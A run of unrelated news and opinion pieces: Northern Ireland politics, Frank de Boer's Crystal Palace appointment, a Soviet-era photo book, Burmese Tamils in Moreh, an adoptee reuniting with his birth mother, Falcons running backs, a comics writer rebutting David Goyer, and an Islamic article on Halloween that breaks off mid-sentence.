She was talking about how we need to move on in Northern Ireland from mandatory coalitions to coalitions formed out of an election. That would be read by the entire republican/nationalist family as going back to a unionist rule. She mightn’t have meant it, but she said it.
Source: RTÉ Radio 1/SoundCloud
Ahern, who was Taoiseach during the peace talks that led to the Good Friday Agreement, also spoke in glowing terms about McGuinness.
“Whatever about Martin McGuinness’ past, for over 20 years he has been a huge plus to the peace process,” Ahern said.
“As chief negotiator he’s a man of his words, I know that as I’ve dealt with him across the table for years.”
Rewind to the 1998 World Cup and Dennis Bergkamp’s winning goal for Holland against Argentina at Marseille’s Stade Vélodrome. It is a moment of breathtaking skill that has been much replayed but often lost in the telling is the pass that made it happen. It came from the boot of Frank de Boer as he edged towards the halfway line and, as well as displaying great range, highlighted a quality Crystal Palace are banking on the Dutchman bringing to the club, having appointed him as their latest manager: vision.
Confirmed as Sam Allardyce’s successor at Selhurst Park on a three-year deal, De Boer’s principal task is keeping Palace in the Premier League. However, the decision of the club’s chairman, Steve Parish, and the American major shareholders, David Blitzer and Josh Harris, to opt for De Boer over, say, Mauricio Pellegrino and Sean Dyche, is also based on a long-term strategy of developing young talent and integrating it successfully into the first team, allowing Palace to become less reliant on big-money signings and quick-fix loan deals, as has been their way in recent years. In that regard De Boer fits the bill perfectly.
After all, this is a man who in his three years in charge of Ajax’s youth academy, from 2007-2010, helped nurture Christian Eriksen, Daley Blind and Toby Alderweireld, players who also benefited from De Boer’s coaching when he took charge of the first team in December 2010, alongside, among others, Jan Vertonghen, Siem de Jong and Jasper Cillessen. It is some roll call – a group who not only improved under De Boer but won Eredivisie titles before moving on for fees that allowed Ajax to invest money in and give opportunities to more young talent, such as Davy Klaassen, who has just joined Everton for £26m.
Crystal Palace confirm Frank de Boer as manager on three-year contract Read more
During his nine-year coaching spell at Ajax, up until May 2016, De Boer undeniably underlined not only his eye for a player but his ability to get the best of the resources at his disposal and the hope for Palace is he can transfer that alchemy from Amsterdam to Beckenham.
It will not be straightforward. For a start there is no guarantee Palace’s academy contains players whose potential is anywhere near that of Eriksen, Alderweireld, Blind and the rest, and even if there are, such are the physical rigours of the Premier League they may struggle to assert themselves sufficiently should they complete the rise to first-team level. But having become Palace’s fifth long-term manager in four years, De Boer has been told he will have time to fully implement his way of working; to give youth – from this country and abroad – a chance and if it does not work at first, try and try again.
For De Boer this is crucial, given his last managerial stint, at Internazionale, ended last November after 14 games in charge across 85 days. It was a brief tenure at a particularly shambolic time in the Italian club’s history and led to De Boer arguing, quite justifiably, that he needed more time to succeed at San Siro. The 47-year-old’s decision to move to England, having previously been linked with vacancies at Tottenham Hotspur, Liverpool and Everton, has in part been based on assurances he will not be sacked hastily for a second time in succession.
There can be no guarantee, especially in the Premier League. Seven managers were sacked in the division last season, including one at Palace, Alan Pardew, after a start to the campaign in which the club slumped to within a point of the relegation zone just before Christmas. Should De Boer find himself in the same position at the same point in the year, then for all the talk of long-term plans it would not come as a shock if Parish pulled the trigger again. So De Boer will have to succeed in the short as well as the long term and his five and a half years in charge of Ajax’s first team suggest he is capable of that.
Having been appointed manager on a temporary basis as part of Johan Cruyff’s velvet revolution, De Boer made an instant impact at the club he represented as a player for 11 years and helped win the Champions League, alongside his twin brother, Ronald. He won his first match, a 2-0 Champions League game away to Milan, and, having then been given the job on a long-term basis, led Ajax to the Eredivisie title at the first time of asking.
Three successive title triumphs followed and while it is easy to belittle that achievement given this is Ajax, the 2010-11 championship was in fact their first in seven years and the reason De Boer took over as manager from Martin Jol in the first place was because the club was in a mess: bloated after years of unsuccessful spending and racked by an internal conflict until Cruyff eventually got his way over the board and instilled a technical heart at the club made up of former players. Alongside De Boer it included Wim Jonk, Marc Overmars and Bergkamp.
Facebook Twitter Pinterest Frank de Boer looks on as Daley Blind, left, Christian Eriksen and Siem de Jong celebrate Ajax winning the 2012-13 Eredivisie title at the Amsterdam Arena. Photograph: VI-Images via Getty
Cruyff wanted to see Ajax return to their guiding principle of developing young talent and giving them a chance to flourish in the first team, with De Boer leading the operation. And that is what they, and he, did, with the fruit of that work most vividly illustrated by the side who reached the Europa League final last month. Led by De Boer’s successor, Peter Bosz, the average age was 22 years and 282 days.
In De Boer’s final two seasons Ajax missed out on the title to PSV Eindhoven but on both occasions they finished second and ended the 2015-16 campaign with 82 points, their highest total under De Boer. There was no slow death to his tenure, the standard remained high throughout and during that time Ajax played a brand of football that was easy on the eye and had definite ties to the club’s distinct traditions.
Influenced by Cruyff during his time in Ajax’s academy and by Louis van Gaal in the first team, De Boer implemented the principles of both men as manager. His players were encouraged to express themselves, to be tactically flexible but also to work as a unit, specifically when pressing aggressively in order to trigger a quick transition. It worked more often than not and along the way there were some particularly notable scalps, including Barcelona, who were beaten 2-1 at the Amsterdam Arena in November 2013, and 13 months earlier Manchester City, who were defeated 3-1 at the same venue. Ajax all but ended City’s hopes of qualifying for that season’s Champions League knockout stages with a performance that brimmed with fast and elusive attacking play.
Jason Eskenazi Wonderland
By Jason Eskenazi
Hardcover, 224 pages
Consortium Book Sales & Distribution
List Price: $32
Enlarge this image toggle caption Jason Eskenazi Jason Eskenazi
Enlarge this image toggle caption Jason Eskenazi Jason Eskenazi
When Jason Eskenazi was growing up in Queens, N.Y., during the Reagan era, he kept hearing about this mysterious thing — "The Evil Empire." He became so curious about it that once the Berlin Wall fell, he decided to visit and to document what he saw.
"I wanted to see history," says Eskenazi, who, in his day job, works as a security guard at New York's Metropolitan Museum of Art. "I was not trusting what I was reading or seeing. I wanted to see it for myself, to go to the source of it."
Eskenazi spent more than a decade photographing life in the former Soviet Union and has just published his photographs in a book, Wonderland: A Fairy Tale of the Soviet Monolith.
Eskenazi says the trip felt like moving back in time to a place with no advertisements and fewer cars on the road. Women wore summer dresses.
"There were all these things from 50 years ago, and everything looked like the photography that I was brought up on," he says.
Eskenazi found few restrictions in those early days. He traveled thousands of miles, through seven time zones and entered factories and prisons in Siberia. Though he didn't speak Russian initially, he quickly learned the words for, "Where is the wedding?" or "Where is the funeral?" so he could enter into ritual and community life.
In one photo, a milkmaid with mud-stained shoes in Kazakhstan looks out dreamily as she milks a cow. The next photo features a young woman of similar features and age, but well dressed and dancing with a young man at a waltz competition. It's almost as if the first picture is dreaming the second.
At another point in the book, a woman jumps up in a park. She almost seems in flight, like the dreams of space flight that many people associate with the Soviet Union. But the next picture is totally ironic: A woman is dusting off a stuffed dog in a museum. It is, in fact, one of the dogs that went into space.
Eskenazi says symmetry is important in his photographs, but there also has to be "some edge or funniness or irony to it, and it also has to have some romance and longing."
Documentary photographer Gene Richards says that although Eskenazi uses irony and metaphor, none of it is pre-orchestrated:
"Most photographers today either do art photography or create blunt, in-your-face messages," he says. "The place he went to could be seen in a million ways, but Eskenazi always seems to capture the little non-moments, the lonely souls."
Eskenazi, who took the title of his book from Alice in Wonderland, likens the breakup of the Soviet Union (and the food and security provided by the Communist Party) to the end of childhood.
"When the Berlin Wall came down, it was almost as if they were set out on a journey to find themselves and who they were after 70 years of a childhood," he says.
Eskenazi says his photographs are about the difficulty of losing what you always thought would be there. "We often confuse the memory of our childhood, even if was terrible," he says. "Even if we were in a horrendous situation in childhood, it was your childhood.
Every day Mohamed Eusoof Sarlan looks at his beloved homeland, a few hundred metres away from where he lives - but Myanmar's soldiers will not allow him to return to his country.
He is among thousands of Burmese Tamils living in the north-eastern Indian town of Moreh in Manipur state, which borders Myanmar, also known as Burma.
Mr Sarlan and other Indian-origin people were forced to leave the country following a military coup in the 1960s. Their businesses were nationalised and Mr Sarlan, who used to live in Rangoon (now called Yangon), and others became penniless refugees overnight.
Image caption The border crossing in Moreh
Image caption Mr Sarlan has spent most of his life as a refugee
It is estimated that nearly 300,000 Indians fled the country following the coup.
"After we reached India, for the first three months we were living in a refugee camp in the southern state of Tamil Nadu. Though Tamil Nadu was the land of our forefathers, it was difficult to live there without any support," recalls Mr Sarlan, 74, who is now a social activist.
'Mini-India'
Indians lived in Burma for centuries, but large-scale migration took place during British-colonial rule, when the country was part of British India, during the 19th and early 20th centuries. They were used as civil servants, traders, farmers, labourers and artisans - and came to be considered the backbone of the economy.
Burmese nationalists always viewed them with suspicion and there were a series of anti-Indian riots in the 1930s. Once the British left in 1948, Indian-origin people became increasingly vulnerable and they were swiftly forced to leave following the 1962 coup.
They found it difficult to settle in India, so many decided to return to Burma by land. They vaguely knew that India's north-eastern states of Nagaland, Manipur, Mizoram and Arunachal Pradesh shared a border with Burma.
After weeks of travelling by train and bus a small group managed to reach Moreh, around 3,200km (2,000 miles) by road from Tamil Nadu. When they reached the border crossing, Burmese soldiers prevented them from entering the country.
The Tamils settled in Moreh hoping one day to return to their homeland - but those dreams have never been fulfilled.
Image caption Burmese Tamils have lived in India's north-east for half a century
Image caption People came to buy Indian goods in markets near the border
"Moreh was a tribal village when we first came here. There was hardly any infrastructure at that point. But many Burmese people came to Moreh looking for Indian goods like automobile parts, clothing and cosmetics. Since we knew the Burmese language it was easy for us to start businesses," Mr Sarlan recalls.
Soon, the Tamils in Moreh invited their relatives and friends from camps in Tamil Nadu and elsewhere to join them.
Many went on to become Indian citizens.
By the 1990s the number of Burmese Tamils in Moreh had increased to about 15,000, almost half of the town's population. They had set up their own schools, temples, churches and mosques - and celebrated their cultural festivals with fervour. Moreh was described as a "mini-India".
"We still retain lots of cultural and social links with Tamil Nadu state. For our important temple festivals we bring priests and music performers from there. Many parents in Moreh also send their children to schools in Tamil Nadu," says K Balasubramaniam, who is the principal of a local secondary school.
Chinese goods
At one point, Burmese Tamils dominated local border trade and that led to resentment from the Kuki community and others.
Several people were killed in bloody clashes between Tamils and Kukis in 1995, but relations have improved since then.
"We take part in each other's cultural and religious festivals. We have several committees to look into any problems and they get sorted out immediately," says Manohar Mohan, a Tamil businessman.
Tamil businesses suffered a setback after the Burmese government established a market just inside their border in Namphalong in the mid-1990s. Chinese products flooded in and many Burmese started shopping in Namphalong rather than Moreh.
Image caption Markets in Myanmar are now flooded with Chinese goods
Traders in Manipur also faced threats from insurgents in the state - some of the businessmen who refused to pay "extortion money" were shot dead.
The violence and lack of business opportunities forced many traders and Burmese Indians to leave Moreh, many opting for Chennai. Now Moreh's Tamil population is just 3,500.
'Gateway'
The insurgency has been contained to a large extent in the last few years. Many traders in Moreh hope the town will regain its business importance once the long-pending Asian Highway, linking the state capital Imphal with Yangon and Bangkok materialises.
Moreh is considered to be India's gateway to South East Asia and locals believe because of its unique geography the place offers tremendous potential.
Image caption Moreh is seen as India's gateway to Myanmar and Thailand
Image caption University student B Revathy says people are moving elsewhere to seek job opportunities
The story of the town's Burmese Tamils is one of suffering and resilience as well as achievement.
Many elderly Tamils, originally from Burma, are nostalgic and want to stay in Moreh, as it is closer to where they come from. But later generations say the town offers little in terms of education and employment.
"If we don't have the right education facilities then we have to go elsewhere. We can't do higher studies here. Also, girls can get only teaching jobs here in Moreh. So there are no other options but to leave this town and go to a place like Chennai," says B Revathy, a university student.
The phone rang on a Sunday night, April 24, a few minutes after 8. Linda Palm, 63, had just stepped inside from tending plants around her Gulfport home. Her husband was taking a shower.
She stared at the phone. On voicemail, a man was talking about an important message for Linda Palm. She decided to ignore the call, but four words changed her mind.
"I need your help."
The caller introduced himself as Brent Reichert, of Tallmadge, Ohio.
"I was born on May 9, 1971, in Kettering Memorial Hospital to a woman named Linda Lee Wilson," he said.
"And I believe that's you."
Linda grew up in St. Petersburg with deep roots. Her grandfather had owned Wilson Mattress and Furniture Co., then passed the store to her father. Her mother bought hundreds of books from Wilson's Book World, then returned them with her initials on the title pages, along with her personal rating system, ranging from excellent to so-so.
The family lived in Driftwood. Linda went through public school with the same friends, several of them from families that also had been in the area for generations. Had she not gotten pregnant, she would have followed them through Lakewood High and whatever lay beyond.
But she did get pregnant, at 16, the result of a yearlong relationship with a college student that had already ended. She kept the pregnancy a secret, not wanting to disappoint her parents.
It was hard choosing a course of action. Abortion? Illegal. Keep the child? She had seen friends try. They could hold down a job, go to college or raise a child, but not all three at the same time.
"I remember being at home, and in between In-A-Gadda-Da-Vida and Karen Carpenter, wondering what I was going to do with this life growing inside of me," she said.
Linda learned about a home for unwed mothers. It was in Miami, far enough away to shield everyone from scandal. When the time was right, she would get on that bus.
Those plans never had a chance. At 6 feet tall, Linda was able to hide the pregnancy for a while, but not indefinitely. At seven months, it was her father who asked the question. How long had it been since her last period? "I said, 'A long time,' " Linda recalled. "He said, 'What do you want to do?' "
Within a day, she was on a plane to Ohio to stay with a brother. It all felt rushed. Before saying goodbye, her mother removed a platinum ring that had belonged to Linda's grandmother. Would she like to wear it? "I'm not married," Linda said.
She gave birth several weeks later at Kettering Memorial Hospital. She heard the baby cry.
It was a boy, 8 pounds, 13 ounces.
She never held her child, or even looked to see his face.
"If I saw him," she said, "I would have to keep him."
She got back in time for summer school at Lakewood High. To anyone curious about her absence, the family had a ready-made answer: Linda had gone north to see snow for the first time, then contracted mononucleosis. Repeating this lie felt like part of her atonement. It burned a hole of anger inside her, like a cigarette butt stubbed out on the skin. Only her closest friends knew the truth.
After graduating, she married George Palm, a respiratory therapist. They had a daughter, Sara. Linda started an indoor plant business. When it came to the past, she lived with a void.
She figured the boy would be tall and fair-skinned, like her. If she passed him on the sidewalk, would she know?
"I never discounted he might try to find me," Linda said.
She couldn't stop herself from scanning crowds, glancing at tall men who could be 17 years younger.
After four weeks in a Lutheran agency, "Baby Wilson" was adopted by Samuel and Gloria Reichert, an engineer and a teacher who raised him in Brunswick, Ohio. "I grew up hearing, 'Your mom loved you so much, she had to give you up,' " said Brent, 45.
He married and got a job with a company that makes industrial cranes, where he is now a regional human resources manager. He and wife Amy had two children, Samantha and Ian. He traveled frequently and had little time to dwell on the past.
But every now and then, there were little speed bumps. The first came 10 years ago, when his wife was pregnant. It was one thing to leave his family medical history form blank, as he had been doing for doctor visits all his life. Now he had fathered a child with zero knowledge of his own genetics. Would his child be born fully functional or with disabilities?
Samantha was born healthy in 2007. As soon as the cord was cut, Brent nudged the infant's tiny hand with his index finger.
Inside, he soared when she grabbed it.
"It was the first blood of my blood," he said.
The birth stirred long-simmering questions about what had become of the teenage mother who had given him up. Was giving birth to him another stumbling block in a life filled with hardship? Was she even alive?
For decades, adults who had been adopted as children and wanted to find their parents were out of luck. Most states said they had no right even to get a copy of their birth certificate. Arguments for that included protecting the privacy of birth parents, particularly mothers who had never disclosed the pregnancy to family members or had become pregnant through rape or incest.
In recent years, that has changed. Adoption advocacy groups have pressured states to relax those laws. Now about half either grant adult adoptees total access to birth records or have set up systems in which states can seek permission from birth parents to release that information. One such law, signed by New Jersey Gov. Chris Christie, goes into effect Jan. 1, opening 170,000 birth records sealed since 1940.
The rest of the states still require a court order to unseal records. (Some of those states, including Florida, maintain passive registries in which birth parents or children may find each other only with the other party's prior written consent.)
Ohio had long been one the country's most restrictive states. But on March 20, 2015, new legislation gave Brent his first chance to obtain his birth certificate. That day, he opened a link to the state's Office of Vital Statistics and hit print. He filled out the form and slid it into his briefcase.
It stayed there for nearly a year. "It was fear of the unknown," Brent said. "I was happy with myself as it was."
The nudge to finish the application came from a close friend — an adult adoptee whom Brent had helped find his own mother. As Brent remembers it, "He said, 'It's not about you. It's time you reached out to your birth mom and let her know you're fantastic, you're awesome. Thank you for letting me be a part of this world, and release her from that wondering.' "
So he walked into a drab brick building in Columbus and got his birth certificate.
His mother was Linda Lee Wilson, according to the birth certificate. No father was listed.
Brent sent for his adoption records, which arrived with so many redacted lines, they looked like something out of CSI. Notes described a young woman who was 6 feet tall, well dressed and composed, who swam and rode horses and played the piano. She wanted to go to college and major in merchandising.
He decided to start with what he knew: Linda Wilson from St. Petersburg, Fla.
Had she moved to Ohio? A White Pages search through the state didn't help.
So, back to St. Petersburg. He went online to classmates.com, which offers networking and high school yearbooks. A photo in the 1971 Lakewood High yearbook caught his eye. Linda Wilson, a senior, had high cheekbones and long reddish hair.
But it was her eyes that struck a nerve. They reminded him of Samantha's.
Classmates.com allows members to update their profiles. As a result, there was a second name after Wilson: Palm. A Google search brought up a 2008 Times obituary for a woman whose last name was Wilson. Among the survivors, Linda Palm.
Brent found a phone number. But he did not want to call yet. What if he was wrong? He could not drop that kind of a bombshell and be wrong.
Then, he got his sign: Linda Wilson Palm had gotten a speeding ticket. Her height? 6 feet.
On April 24, Brent sent Samantha and Ian, 7, to another room to watch a movie, and dialed the number. He could barely breathe.
Before her son said another word, Linda picked up the phone and interjected. "First, I want to say you have always been loved," she said. "I put you up for adoption because I wanted you to have parents who could give what I could not."
Brent told her he was raised by loving Midwestern parents who, after 50 years of marriage, still hold hands at the mall.
A shiver ran through Linda from head to foot, and her knees went weak — "pure joy and affirmation of my prayers to God for this baby."
They kept talking. Soon, the spouses joined in. The call lasted 3-½ hours. The next step was obvious. Brent and his family would come to Florida.
The next day, he sent roses and snapdragons. A couple of days later, he sent a head shot and the adoption records he had retrieved. Included in that package was a black and white photo someone had taken in 1971, of him at 1 month old.
Linda held the photo and cried.
Linda wanted to see her son right away. At first he agreed, then changed his mind and decided to bring his family.
That would take time, with school in session. What's more, Ian's Little League team was in the playoffs and Samantha had a dance recital. And there was work.
Linda's friends told her to be patient. "So many people said, 'Give him room, wait, don't push him.' I don't wait well."
For her son, the reunion could not have been complete any other way. "My wife and I talked about just me going down, one-on-one," Brent said. "Part of me thinks I should have done that. But if you do that, then you are not meeting all of me. Mom didn't understand that."
It would not be the only time mother and son each perceived an enormity in their reunification, yet responded to it differently.
This mother and son were, after all, picking up where they had left off, which was nowhere.
In July, a rented SUV pulled up to a rented cottage in Treasure Island. Brent got out and hugged the woman nearly as tall as he is, whose pale skin and freckles match his. They hugged for a long time. "There were no tears," Brent said. "There was just so much happiness."
They had been talking or texting almost daily for months and had just scratched the surface. There was so much information to digest, like a python swallowing a goat.
That first evening at sunset, they walked arm in arm on the beach. He gave her a sterling silver charm necklace. She opened up the little ball, and a heart popped out. Beneath the heart, a word: "Mom."
The kids bonded with George and Linda, Brent with his half-sister, Sara Higman, 37.
As Brent and Sara chatted in the cottage, Linda watched from across the room, and a realization settled in:
I have two children.
That night, she felt the weight of that period in her life, the secrecy and the guilt.
"Every demon I had inside me came out, the pain of the memories and the perpetuation of lies. I was disappointed in myself, getting lost in myself."
Brent's family did some tourist things, like going to the Clearwater Aquarium to see Winter and Hope. Emotionally, there was no checklist, no way of knowing if this is where you are supposed to be.
Mother and son took an afternoon together for errands and pizza, just the two of them. It was a baby step forward.
The story seems to affect everyone they tell, including strangers. "Goose bumps and tears," Linda said. "First goose bumps, then tears."
It has also given Linda and Brent a new window into the lives of others. At least five people have contacted Brent, including a couple of high school friends he never knew were adopted. A co-worker, inspired by the story, found and met a half-sister.
Even the florist who delivered Brent's flowers seemed choked up.
"He said, 'I never looked for my mom. I need to look,' " Linda said.
The next chapter of this story is still being sketched out. There is so much missing time.
Linda spent Thanksgiving with Sara in Snell Isle in St. Petersburg. In Ohio, Brent remembered his mother with an extra place at the table.
The ambiguity of their relationship filters into everyday decisions. Linda thought about going to Ohio after Brent's wife had hip replacement surgery. But she wondered what her role would be, whether it would be appropriate or if she would just be in the way.
As the months passed, mother and son learned they shared another habit: checking flight schedules instinctively, almost daily. But plans to get together again never quite get made.
"The clock keeps ticking," Brent said. "Life keeps getting busier and busier."
This is the way everything goes. There's a rush toward each other, then events and circumstances pull them away like an outgoing tide.
"If we both could, we would be with each other now," Linda said. "I miss him beyond explanation."
Brent summed it all up with a metaphor.
"It's like flying a kite for the first time," he said. "You want to get it going. But will there be enough wind? Will it stay aloft, or will it all crash down?"
There are seemingly three main reasons why getting Atlanta running back involved in the passing game has been so vitally important early in camp. First, and the simplest reason, running backs that can catch passes with regularity give offenses more weapons. But there are two other powerful reasons.
The Falcons have a returning Pro-Bowl rusher in Freeman who emerged as a 1,000-yard rusher during his third season a year ago. They also have a second-year back in Coleman, a powerful, speedy runner who was taken in the third round of the 2015 draft to lead Atlanta’s rushing attack. Both backs want touches. The Falcons have to find a way to get both involved regularly without diminishing Freeman’s role.
Adding both as elements to the passing game offers more touches.
Third, and here comes speculation as only two days on training camp have been completed, if offensive coordinator Kyle Shanahan’s offense can become more versatile – if it spreads the ball around to multiple running backs, multiple tight ends and multiple receivers, it should churn yardage more efficiently and score in the red zone more often.
“When we have those matchups, especially in man-to-man, both he and Devonta [Freeman] are a handful,” said head coach Dan Quinn after Friday’s camp session. “When we talk about him it’s the speed that he has. You know if a linebacker has to go out, that’s not a matchup as a linebacker you like going out to get singled out. We’re trying to have that as a featured part of our game.”
Quinn continued with how hard it was to cover Freeman:
“Obviously, you feel the pressure of a guy who can stick his head and think it’s a cut one way and come back up,” Quinn said. “It’s that short-area quickness that makes him such a challenge for people to cover. He can break laterally and get to full speed really fast and the guys that can do that makes it the hardest to cover.
“When you play man-to-man, you usually have a leverage. It’s inside leverage or outside leverage, so an option route you can break away from that leverage. You can imagine how hard that is to cover. That’s what we look for often times in man-to-man. It’s usually that inside leverage or outside leverage, and you can break them off. That’s why it’s really hard.”
Catching passes out of the backfield will be nothing new for Freeman, who hauled in 73 last season for 578 yards and three touchdowns. Only two backs (Theo Riddick (80) and Danny Woodhead (80)) notched more receptions. But Freeman was the only running back in 2015 that eclipsed 1,000 yards rushing and also caught at least 70 passes.
Coleman only pulled down three receptions; the Falcons utilized him almost exclusively in the running game. However, Atlanta seems to have an eye on changing that in 2016.
Both Freeman and Coleman have each hauled in a touchdown pass of at least 40 yards in camp thus far – one each day for the duo. The premier moment had to have been when Coleman streaked down the sideline in 11-on-11 drills and weaved between three defenders to grab a 50-yard strike from quarterback Matt Ryan.
RBs have caught a lot of passes today … from many different routes and depths. Tevin Coleman has looked especially good. #Falcons — Knox Bardeen (@knoxbardeen) July 28, 2016
Ryan’s pass was perfectly placed to where only Coleman could grab it. And even though Coleman had to maneuver his body with an unbalanced twist at the end to complete the play, he did so with grace, making it look easy.
Not only has one of the bigger trends in camp been getting running back involved in the passing game, but the Falcons want to hit these guys at many depths and from varying routes.
“It’s based on the speed first,” Quinn said Thursday. “See if we can go take some shots down the field. Those are some of those matchups that we’re looking for. Like with man-to-man, when we see our running backs outside, that’s a matchup we want to go after.
“For us to get our best at matchups, knowing who those guys are at running back, that’s a tough assignment and we want to exploit that whenever we can.”
Freeman and Coleman have both been successful out of the backfield on wheel routes, have been used as dump-off options and have lined up in the slot or out wide to catch passes. If these two can line up anywhere and run routes to any depth of the field (read: a 6-yard route and a 50-yard route and everything in between) there’s another scary byproduct.
In the scenarios seen through two days of camp, Freeman and Coleman could theoretically be used on the field at the same time, one as a rushing option and one as a receiver … or even both as receivers with some pre-snap confusion caused to move the defense around.
If you don’t know the name, Goyer is a big time heavy hitter writer. He’s done some comic books but mostly is known for screenplays, including Man of Steel and the upcoming Batman vs. Superman: Dawn of Justice and the subsequent Justice League film as well as a score of others. This suggests he knows what he’s doing.
His comments this week might suggest differently. On the Scriptnotes podcast (which has now disappeared), he said the She-Hulk “… is the chick that you could f–k if you were Hulk… She-Hulk was the extension of the male power fantasy. So it’s like if I’m going to be this geek who becomes the Hulk then let’s create a giant green porn star that only the Hulk could f–k.”
Stan Lee, who created the She-Hulk, replied: “Only a nut would even think of that.” ‘Nuff said.
Goyer also had some choice words for J’Onn J’onzz, a.k.a. the Martian Manhunter/Manhunter from Mars. Let’s use his words, shaaaaall we?
“How many people in the audience have heard of Martian Manhunter?” Following a healthy smattering of applause, Goyer joked, “How many people that raised their hands have ever been laid?”
Goyer continued: “Well, he can’t be fucking called ‘The Martian Manhunter’ because that’s goofy. He could be called “Manhunter.” … The whole deal with Martian Manhunter is he’s an alien living amongst us, that’s the deal. He came out in the ‘50s, and he had basically all the powers of Superman, except he didn’t like fire, and he could read your mind. So here’s the best part: So he comes down to Earth and decides, unlike Superman who already exists in the world now, that he’s just going to be a homicide detective, and pretend to be a human homicide guy. … So instead of using superpowers and mind-reading and like, “Oh, I could figure out if the President’s lying or whatever,” he just decides to disguise himself as a human homicide detective. Dare to dream.
“I would set it up like The Day After Tomorrow. We discover one of those Earth-like planets… So maybe like… we get the DNA code from that planet and then grow him in a petri dish here… He’s like in Area 51 or something and we’re just basically… doing biopsies on him.”
I have some passing knowledge of the Martian Manhunter, having done (with Tom Mandrake) a series starting back in 1998 so I have a thought or two on this subject. Last week I explained some of my thinking in creating Amanda Waller so this seems a good point to explain some of my thinking on working with J’Onn J’Onzz.
Goyer and I are in small agreement: I also felt that in many ways the Martian Manhunter was a green clone of Superman. He had most of the same powers and, instead of Kryptonite, his weakness was fire. When Tom and I did our series, we wanted to focus on what made him and Superman different. The principal one was that, while born an alien, Kal-El came to earth as an infant and was raised as a human. His values are Midwestern values. J’Onn came to earth as an adult; he was raised in a Martian culture. He’s not American; he is fundamentally alien – a Martian.
Tom and I decided we would investigate and explore Martian culture in our version. He was telepathic; his race was telepathic. What did that mean? What were the societal rules? Rape, for example, would not only be physical; it could be emotional and mental. On the flip side of the coin, sex would involve a melding of minds as well as a melding of bodies. With his race dead, J’Onn would be forever denied that. He could never again experience physical love on so deep a level.
Martians could fly, levitate, and pass through walls; their houses would have no doors or windows or stairs.
J’Onn can turn invisible; we had it that, on arriving on Earth, he saw and experienced how violent and paranoid humans can be. He chose a persona that allowed him to act like a human in order to better understand who and what we were. We had him having several other human identities as well (credit where credit is due: Grant Morrison first brought up that concept).
The idea that he would be grown from a Petri dish is not an uninteresting idea for a character; it’s just not J’Onn J’Onzz. I talked last week about being true to the fundamental aspects of a character and, to my mind, Goyer’s take on the Manhunter from Mars isn’t it. (Sidenote: why is he the Martian Manhunter? Because there are already plenty of other Manhunters in the DCU.)
This might not matter but Goyer is right now the go-to writer for DC cinematic stories. If he has this little fundamental understanding of a mainstay DC character, how much will he have for other DC characters? It’s not that hard to check on what has been done; the Martian Manhunter entry on Wikipedia takes only a few minutes to read and its pretty accurate.
I also don’t understand the underlying contempt not only for J’Onn and the She-Hulk but for readers and fans of the characters. “How many who raised their hands have ever been laid?” Why did Goyer feel the need to get all William Shatner on folks? Why the snark… and sexist snark at that?
Maybe he just doesn’t like the color green. Let’s not ask him what he thinks about Kermit the Frog. I’m not sure I need his observations about Kermit and Miss Piggy.
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Religious Festivals
Muslims have two celebrations each year, 'Eid al-Fitr and 'Eid al-Adha. The celebrations are based on the Islamic faith and religious way of life. There are some who argue that Halloween, at least, is a cultural holiday, with no religious significance. To understand the issues, we need to look at the origins and history of Halloween.
Pagan Origins of Halloween
Halloween originated as the Eve of Samhain, a celebration marking the beginning of winter and the first day of the New Year among ancient pagans of the British Isles. On this occasion, it was believed that supernatural forces gathered together, that the barriers between the supernatural and human worlds were broken. They believed that spirits from other worlds (such as the souls of the dead) were able to visit earth during this time and roam about. At Samhain, Celts celebrated a joint festival for the sun god and the lord of the dead. The sun was thanked for the harvest and moral support requested for the upcoming "battle" with winter. In ancient times, the pagans made sacrifices of animals and crops in order to please the gods.
They also believed that on October 31st, the lord of the dead gathered all the souls of the people who had died that year. The souls upon death would dwell in the body of an animal, then on this day, the lord would announce what form they were to take for the next year.
Christian Influence
When Christianity came to the British Isles, the church tried to take attention away from these pagan rituals by placing a Christian holiday on the same day. The Christian festival, the Feast of All Saints, acknowledges the saints of the Christian faith in much the same way that Samhain had paid tribute to the pagan gods. The customs of Samhain survived anyway, and eventually became intertwined with the Christian holiday. These traditions were brought to the United States by immigrants from Ireland and Scotland.
Halloween Customs and Traditions
"Trick or Treating": It is widely believed that during the Feast of All Saints, peasants went from house to house asking for money to buy food for the upcoming feast. Additionally, people dressed in costumes would often play tricks on their neighbors. Blame for the resulting chaos was placed on the "spirits and goblins."
It is widely believed that during the Feast of All Saints, peasants went from house to house asking for money to buy food for the upcoming feast. Additionally, people dressed in costumes would often play tricks on their neighbors. Blame for the resulting chaos was placed on the "spirits and goblins." Images of bats, black cats, etc.: These animals were believed to communicate with the spirits of the dead. Black cats especially were believed to house the souls of witches.
These animals were believed to communicate with the spirits of the dead. Black cats especially were believed to house the souls of witches. Games such as bobbing for apples: The ancient pagans used divination techniques to foresee the future. There were various methods of doing this, and many have continued through traditional games, often played at children's parties.
The ancient pagans used divination techniques to foresee the future. There were various methods of doing this, and many have continued through traditional games, often played at children's parties. Jack-O'-Lantern: The Irish brought the Jack-O'-Lantern to America. The tradition is based on a legend about a stingy, drunken man named Jack. Jack played a trick on the devil, then made the devil promise not to take his soul. The devil, upset, promised to leave Jack alone. When Jack died, he was turned away from Heaven because he was a stingy, mean drunk. Desperate for a resting place, he went to the devil but the devil also turned him away. Stuck on earth on a dark night, Jack was lost. The devil tossed him a lighted coal from the fire of Hell, which Jack placed inside a turnip as a lamp to light his way. Since that day, he has traveled the world over with his Jack-O'-Lantern in search of a resting place. Irish children carved out turnips and potatoes to light the night on Halloween. When the Irish came to America in great numbers in the 1840s, they found that a pumpkin made an even better lantern, and that is how this "American tradition" came to be.
Islamic Teachings
Virtually all Halloween traditions are based either in ancient pagan culture or in Christianity. From an Islamic point of view, they all are forms of idolatry (shirk). As Muslims, our celebrations should be ones that honor and uphold our faith and beliefs. How can we worship only Allah, the Creator, if we participate in activities that are based in pagan rituals, divination, and the spirit world? Many people participate in these celebrations without even understanding the history and the pagan connections, just because their friends are doing it, their parents did it ("it's a tradition!"), and because "it's fun!"
So what can we do, when our children see others dressed up, eating candy, and going to parties? While it may be tempting to join in, we must be careful to preserve our own traditions and not allow our children to be corrupted by this seemingly "innocent" fun. When tempted, remember the pagan origins of these traditions, and ask Allah to give you strength. Save the celebration, the fun and the games, for our 'Eid festivals. Children can still have their fun, and most importantly, should learn that we only acknowledge holidays that have a religious significance to us as Muslims. Holidays are not just excuses to binge and be reckless. In Islam, our holidays retain their religious importance, while allowing proper time for rejoicing, fun, and games.
Guidance From the Quran
On this point, the Quran says:
